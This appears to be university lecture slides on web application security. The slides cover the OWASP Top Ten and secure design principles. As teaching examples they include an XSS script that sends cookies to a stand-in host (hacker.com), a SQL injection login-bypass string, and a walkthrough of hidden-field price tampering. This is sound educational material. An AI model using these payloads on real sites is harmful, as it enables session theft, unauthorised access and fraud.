Web Application Security
Vulnerabilities
Yen-Cheng Chen
Department of Information Management
National Chi Nan University
Puli, 545 Nantou, Taiwan
ycchen@ncnu.edu.tw
1. Introduction
 Web
security is important for E-Commerce.
 Previous studies:
 SSL
 SET
 Web server security
 Application-level
security
 Web applications mistakenly trust data
returned from a client.
2. OWASP Top Ten Web
Application Vulnerabilities
OWASP
 The Open Web Application Security Project
 http://www.owasp.org/
 Documents
 The Ten Most Critical Web Application Security
Vulnerabilities
 OWASP Guide to Building Secure Web Applications
The Ten Most Critical Web Application
Security Vulnerabilities
1. Unvalidated Parameters
2. Broken Access Control
3. Broken Account and Session Management
4. Cross-Site Scripting (XSS)
5. Buffer Overflows
6. Command Injection Flaws
7. Error Handling Problems
8. Insecure Use of Cryptography
9. Remote Administration Flaws
10. Web and Application Server Misconfiguration
(1). Unvalidated Parameters
Information from web requests is not
validated before being used by a web
application.
Attackers can use these flaws to attack
background components through a web
application.

How to Protect Yourself
Ensure
that all parameters are validated
before they are used.
 Data type (string, integer, real, etc.)
 Allowed character set
 Minimum and maximum length
 Whether null is allowed
 Whether the parameter is required or not
 Whether duplicates are allowed
 Numeric range
 Specific legal values (enumeration)
 Specific patterns (regular expressions)
(2). Broken Access Control
Restrictions
on what authenticated users
are allowed to do are not properly
enforced.
Attackers can exploit these flaws to access
other users' accounts, view sensitive files,
or use unauthorized functions.
How to Protect Yourself
 Think
through an application's access control
and capture it in a web application security
policy.
 Some specific access control issues include:
 Insecure Id's
 Forced Browsing Past Access Control Checks
 Path Traversal
 File Permissions
 Client Side Caching
(3). Broken Account and Session
Management
 Account
credentials and session tokens are
not properly protected.
 Attackers that can compromise passwords,
keys, session cookies, or other tokens can
defeat authentication restrictions and
assume other users' identities.
How to Protect Yourself
 Careful
and proper use of custom or off the
shelf authentication and session management
mechanisms
 Password Change Controls
 Password Strength
 Password Storage
 Protecting Credentials in Transit
 Session ID Protection
 Account Lists
 Browser Caching
 Trust Relationships
 Backend Authentication
(4). Cross-Site Scripting (XSS)
The
web application can be used as a
mechanism to transport an attack to an
end user's browser.
A successful attack can disclose the end
user's session token, attack the local
machine, or spoof content to fool the user.
XSS Example
~留言版~
<script>
window.location="http://www.hacker.com/steal.cgi?
ck="+document.cookie;
</script>
XSS Web Application Hijack
Scenario
www.hacker.com
How to Protect Yourself
 Detailed
code review that searches the code for
validation of all headers, cookies, query strings,
form fields, and hidden fields (i.e., all parameters)
 Dangerous Characters for Cross Site Scripting:
(5). Buffer Overflows
Web
application components in some
languages that do not properly validate
input can be crashed and, in some cases,
used to take control of a process.
These components can include CGI,
libraries, drivers, and web application
server components.
How to Protect Yourself
 Keep
up with the latest bug reports for your
web and application server products and other
products in your Internet infrastructure.Apply
the latest patches to these products.
 Review all code that accepts input from users
via the HTTP request and ensure that it
provides appropriate size checking on all such
inputs.
(6). Command Injection Flaws
 Web
applications pass parameters when they
access external systems or the local operating
system.
 If an attacker can embed malicious commands
in these parameters, the external system may
execute those commands on behalf of the web
application.
SQL Injection
SQLQuery =
“SELECT  FROM Users WHERE (UserName='” +
strUN + “') AND (Password='” + strPW + “');”
 User name “fredchen”, password “199msq” :
SELECT  FROM Users WHERE (UserName='fredchen')
AND (Password='199msq');
 SQL Injection: User name/Password : ' OR 'A'='A
SELECT  FROM Users WHERE
(UserName='' OR 'A'='A') AND
(Password='' OR 'A'='A');
Input Validation
How to Protect Yourself
 Avoid
the use of commands where possible.
 Carefully validate the data provided to ensure
that it does not contain any malicious content.
 Ensure that the web application runs with only
the privileges it absolutely needs to perform its
function.
 Any user information that is being inserted into
the command should be rigorously checked.
(7). Error Handling Problems
Error
conditions that occur during normal
operation are not handled properly.
If an attacker can cause errors to occur
that the web application does not handle,
they can gain detailed system information,
deny service, cause security mechanisms
to fail, or crash the server.
How to Protect Yourself
A
specific policy for how to handle errors
should be documented.
Ensure that the site is built to gracefully
handle all possible errors.
Certain classes of errors should be logged
to help detect implementation flaws in
the site and/or hacking attempts.
(8). Insecure Use of Cryptography
 Web
applications frequently use cryptographic
functions to protect information and credentials.
 These functions and the code to integrate them
have proven difficult to code properly,
frequently resulting in weak protection.
 E.g. MD5(CreditCardNum, RandomNum)
How to Protect Yourself
 Minimize
the use of encryption and only keep
information that is absolutely necessary.
 Choose a library that has been exposed to public
scrutiny and make sure that there are no open
vulnerabilities.
 Encapsulate the cryptographic functions that
are used and review the code carefully.
 Be sure that secrets, such as keys, certificates,
and passwords, are stored securely.
(9). Remote Administration Flaws
 Many
web applications allow administrators to
access the site using a web interface.
 If these administrative functions are not very
carefully protected, an attacker can gain full
access to all aspects of a site.
How to Protect Yourself
 Never
allow administrator access through the
front door if at all possible.
 The use of strong authentication such as
certificates, token based authenticators,...
 The use of encryption (e.g., VPN or SSL) for the
entire administrative session.
 Interfaces be separate from interfaces provided
to normal users.
 Network separation or IP filtering.
(10). Web and Application
Server Misconfiguration
Having
a strong server configuration
standard is critical to a secure web
application.
These servers have many configuration
options that affect security and are not
secure out of the box.
How to Protect Yourself
 Create a hardening guideline for configuration:
 Configuring all security mechanisms
 Turning off all unused services
 Setting up roles, permissions, and accounts
 Logging and alerts
 Configuration maintenance:
 Monitoring the latest security vulnerabilities published
 Applying the latest security patches
 Updating the security configuration guideline
 Regular vulnerability scanning from both internal and
external perspectives
 Regular status reports to upper management
documenting overall security posture
Other Security Vulnerabilities
 Unnecessary
and Malicious Code
 Broken Thread Safety and Concurrent
Programming
 Denial of Service
 Unauthorized Information Gathering
 Accountability Problems and Weak Loggin
 Data Corruption
 Broken Caching, Pooling, and Reuse
URL/Form Modification
 Form Modification
 Client-side form validation by HTML itself
<input type=text name=id MaxLength=8>
 Client-side script
<input type=text onChange=“checkIt(this)”>
 Hidden form fields
<input type=hidden name=price value=“5700”>
 URL Modification
 URL parameter
http://www.citibank.com/print.asp?id=u1257
Price-Changing Attack
Saving
the HTML form to disk
Modifying the price
<input type=hidden name=price value=“1”>
Modifying the
action attribute
<form action=“http://www.e-shop.com/checkout.jsp”>
Reloading
browser
the HTML form back into the
Security Guidelines
a.
b.
c.
d.
e.
f.
g.
h.
i.
Validate Input and Output
Fail Securely (Closed)
Keep it Simple
Use and Reuse Trusted Components
Defense in Depth
Only as Secure as the Weakest Link
Security By Obscurity Won't Work
Least Privilege
Compartmentalization (Separation of
Privileges)
a. Validate Input and Output
All
user input and user output should be
checked to ensure it is both appropriate
and expected.
Allow only explicitly defined
characteristics and drop all other data.
b. Fail Securely (Closed)
When
it fails, it fails closed.
 It should fail to a state that rejects all
subsequent security requests.
A
good analogy is a firewall. If a firewall
fails it should drop all subsequent packets.
c. Keep it Simple
 If
a security system is too complex for its user
base, it will either not be used or users will try to
find measures to bypass it.
 This message applies equally to tasks that an
administrator must perform in order to secure an
application.
 This message is also intended for security layer
API's that application developers must use to
build the system.
d. Use and Reuse Trusted
Components
Using
and reusing trusted components
makes sense both from a resource stance
and from a security stance. When
someone else has proven they got it right,
take advantage of it.
e. Defense in Depth
Relying
on one component to perform its
function 100% of the time is unrealistic.
 While we hope to build software and
hardware that works as planned,
predicting the unexpected is difficult.
Good systems don't predict the
unexpected, but plan for it.
f. Only as Secure as the Weakest
Link
Careful
thought must be given to what
one is securing.
Attackers are lazy and will find the
weakest point and attempt to exploit it.
g. Security By Obscurity
Won't Work
It's
naive to think that hiding things from
prying eyes doesn't buy some amount of
time.
This strategy doesn't work in the long
term and has no guarantee of working in
the short term.
h. Least Privilege
Systems
should be designed in such a
way that they run with the least amount
of system privilege they need to do their
job.
i. Compartmentalization
(Separation of Privileges)
Compartmentalizing
users, processes and
data helps contain problems if they do
occur.
Compartmentalization is an important
concept widely adopted in the
information security realm.